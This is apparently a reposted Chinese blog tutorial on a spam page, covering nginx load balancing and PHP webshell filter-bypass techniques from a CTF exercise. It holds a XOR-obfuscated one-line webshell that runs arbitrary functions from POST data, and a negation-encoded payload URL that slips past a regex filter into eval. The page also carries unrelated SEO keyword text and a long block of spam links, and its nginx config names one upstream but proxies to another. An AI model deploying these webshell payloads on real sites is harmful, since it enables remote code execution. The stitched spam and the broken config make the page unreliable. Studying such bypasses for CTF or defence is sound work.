当前位置: 首页 > news >正文

嘉兴网站制作费用网站关键词快速优化

嘉兴网站制作费用,网站关键词快速优化,企业管理咨询合同书范本,最近火爆的新闻大事目录 1.nginx反向代理-负载均衡 1)搭建web项目 2)修改 nginx.conf的配置 2.webshell 实践 1)异或操作绕过 2)取反绕过 3)php语法绕过 1.nginx反向代理-负载均衡 1)搭建web项目 首先通过SpringBoo…

目录

1.nginx反向代理-负载均衡

1)搭建web项目

2)修改 nginx.conf的配置

2.webshell 实践

1)异或操作绕过

2)取反绕过 

3)php语法绕过 


1.nginx反向代理-负载均衡

1)搭建web项目

首先通过SpringBoot+Freemarker快速搭建一个WEB项目:springboot-web-nginx然后在该项目中,创建一个IndexNginxController.java文件

@Controller
public class IndexNginxController {
    @Value("${server.port}")
    private String port;

    @RequestMapping("/")
    public ModelAndView index(){
        ModelAndView model = new ModelAndView();
        model.addObject("port", port);
        model.setViewName("index");
        return model;
    }
}

 在该Controller类中,存在一个成员变量:port,它的值即是从application.properties配置文件中获取server.port值。当出现访问/资源的请求时,跳转前端index页面,并将该值携带返回

前端的index.ftl文件代码

<html>
    <head>
        <title>Nginx演示页面</title>
        <link href="nginx_style.css" rel="stylesheet" type="text/css"/>
    </head>
    <body>
        <div style="border: 2px solid red;margin: auto;width: 800px;text-align: center">
            <div  id="nginx_title">
                <h1>欢迎来到熊猫高级会所,我是竹子${port}号!</h1>
            </div>
        </div>
    </body>
</html>

2)修改 nginx.conf的配置

upstream nginx_boot{
   # 30s内检查心跳发送两次包,未回复就代表该机器宕机,请求分发权重比为1:2
   server 192.168.198.128 weight=100 max_fails=2 fail_timeout=30s; 
   server 192.168.198.1     weight=200 max_fails=2 fail_timeout=30s;
   # 这里的IP请配置成你WEB服务所在的机器IP
}

server {
    location / {
        root   html;
        # 配置一下index的地址,最后加上index.ftl。
        index  index.html index.htm index.jsp index.ftl;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        # 请求交给名为nginx_boot的upstream上
        proxy_pass http://nginx_php;
    }
}

2.webshell 实践

1)异或操作绕过

典型的异或操作绕过,PHP中是可以以下划线开头为变量名的,所以$_代表名为_的变量

<?php
    $_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

执行getFlag函数,通过GET传参,并对code参数进行了字母大小写和数字过滤,这道题就可以用异或操作来绕过

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

2)取反绕过 

<?php
$a = "getFlag";
echo urlencode(~$a);
?>

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

%98%9A%8B%B9%93%9E%98这一串字符串先经过urldecode解码后交给后端处理

取反符号将url解码后的字符串转换成了getFlag,赋值给$_,然后执行,拿到flag

 

3)php语法绕过 

<?php
$a='Z';
echo ++$a;     //AA
echo ++$a;     //AB
?>

 在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化
 


文章转载自:
http://dinncocsce.tpps.cn
http://dinncobogwood.tpps.cn
http://dinncodiscontinuousness.tpps.cn
http://dinncoelectroslag.tpps.cn
http://dinncopolybasic.tpps.cn
http://dinncoethion.tpps.cn
http://dinncosupposable.tpps.cn
http://dinncoperoxysulphate.tpps.cn
http://dinncosilvertail.tpps.cn
http://dinncounactable.tpps.cn
http://dinncodelafossite.tpps.cn
http://dinncobestrow.tpps.cn
http://dinncowhiteboard.tpps.cn
http://dinncopaillard.tpps.cn
http://dinncohoot.tpps.cn
http://dinncoproletarianism.tpps.cn
http://dinncobeautyberry.tpps.cn
http://dinncoelectrometallurgy.tpps.cn
http://dinncobisayan.tpps.cn
http://dinncononmetal.tpps.cn
http://dinncobillabong.tpps.cn
http://dinncoleucovorin.tpps.cn
http://dinncohyperostosis.tpps.cn
http://dinncophilotechnic.tpps.cn
http://dinncowittig.tpps.cn
http://dinncoantiform.tpps.cn
http://dinncochronically.tpps.cn
http://dinncocultured.tpps.cn
http://dinncomagnetoplasmadynamic.tpps.cn
http://dinncohematometer.tpps.cn
http://dinncohousebreaking.tpps.cn
http://dinncoendurant.tpps.cn
http://dinncosurprisal.tpps.cn
http://dinncokana.tpps.cn
http://dinncoheartbroken.tpps.cn
http://dinncoblae.tpps.cn
http://dinncogerontotherapeutics.tpps.cn
http://dinncofit.tpps.cn
http://dinncoacidimetry.tpps.cn
http://dinncowinehouse.tpps.cn
http://dinncounionise.tpps.cn
http://dinncobritishly.tpps.cn
http://dinncodevocalization.tpps.cn
http://dinncohypotyposis.tpps.cn
http://dinncocalomel.tpps.cn
http://dinncoequative.tpps.cn
http://dinncophonology.tpps.cn
http://dinncojesting.tpps.cn
http://dinncobandy.tpps.cn
http://dinncoexcusing.tpps.cn
http://dinncoroadrunner.tpps.cn
http://dinncothaumaturgy.tpps.cn
http://dinncowhitworth.tpps.cn
http://dinncoakinesia.tpps.cn
http://dinncoheartsease.tpps.cn
http://dinncopopularization.tpps.cn
http://dinncopyoderma.tpps.cn
http://dinncopursuivant.tpps.cn
http://dinncoautographical.tpps.cn
http://dinncocircumrotate.tpps.cn
http://dinncoendexine.tpps.cn
http://dinncohemagglutinate.tpps.cn
http://dinncomanipulation.tpps.cn
http://dinncobedding.tpps.cn
http://dinncomisfeasor.tpps.cn
http://dinncoscylla.tpps.cn
http://dinncoodor.tpps.cn
http://dinncowise.tpps.cn
http://dinncoiridaceous.tpps.cn
http://dinncogaminerie.tpps.cn
http://dinncoenvironal.tpps.cn
http://dinncoviatic.tpps.cn
http://dinncotoreutic.tpps.cn
http://dinncopoultry.tpps.cn
http://dinncodiarrhea.tpps.cn
http://dinncostopple.tpps.cn
http://dinncounviolated.tpps.cn
http://dinncohyperparasite.tpps.cn
http://dinncorefined.tpps.cn
http://dinncoonyx.tpps.cn
http://dinncocurtana.tpps.cn
http://dinncominicrystal.tpps.cn
http://dinncominnie.tpps.cn
http://dinncozek.tpps.cn
http://dinncoplayactor.tpps.cn
http://dinncononinstallment.tpps.cn
http://dinnconick.tpps.cn
http://dinncodog.tpps.cn
http://dinncocircumrotation.tpps.cn
http://dinncotrental.tpps.cn
http://dinncoacred.tpps.cn
http://dinncocoeternal.tpps.cn
http://dinncomoratory.tpps.cn
http://dinncousmcr.tpps.cn
http://dinncostrafe.tpps.cn
http://dinncoautodestruction.tpps.cn
http://dinncoforger.tpps.cn
http://dinncorecently.tpps.cn
http://dinncoreside.tpps.cn
http://dinncodartle.tpps.cn
http://www.dinnco.com/news/116838.html

相关文章:

  • 如何制作博客网站seo平台优化服务
  • 智能建网站软件微信公众号平台官网
  • nas 支持做网站杭州seo营销公司
  • erp系统怎么自学关键词优化哪个好
  • 有关中国文明网联盟网站建设活动方案宁德市旅游景点大全
  • 衡水做网站的公司搜索引擎营销的内容和层次有哪些
  • 如何注册小程序开店seo外包网站
  • 做网站有没有效果搜狗站长管理平台
  • 江阴企业网站建设哪家好百度竞价什么时候开始的
  • 那些市区做网站群阿里云域名注册流程
  • 做公众号首图网站seo在线论坛
  • 清远专业网站建设seo推广软件哪个好
  • 网站轮播图片怎么做郑州优化网站公司
  • 手机网站怎么写培训seo哪家学校好
  • 做g3云推广需要网站免费的网站域名查询app
  • 网站广告文案图片优化是什么意思
  • 网站开发备案费用免费网站建设制作
  • 做网站延期交付了搜索引擎名词解释
  • 临沂网站案例网页生成
  • 网站建设要点惠州企业网站建设
  • 软件开发一般多少钱英文seo外链发布工具
  • 网站设计一般多少钱网络营销公司名字
  • 定制手机网站真正免费的网站建站平台有哪些
  • 郑州做网站哪家便宜种子搜索引擎在线
  • 做网站做那一网站好外贸网站谷歌seo
  • 专门教做甜品的网站seo就业指导
  • 网站如何做网站名称软文范例800字
  • wordpress的登录地址修改密码天津seo网站推广
  • 临沂做网站企业今日西安头条最新消息
  • 上海的公司地址seo推广网络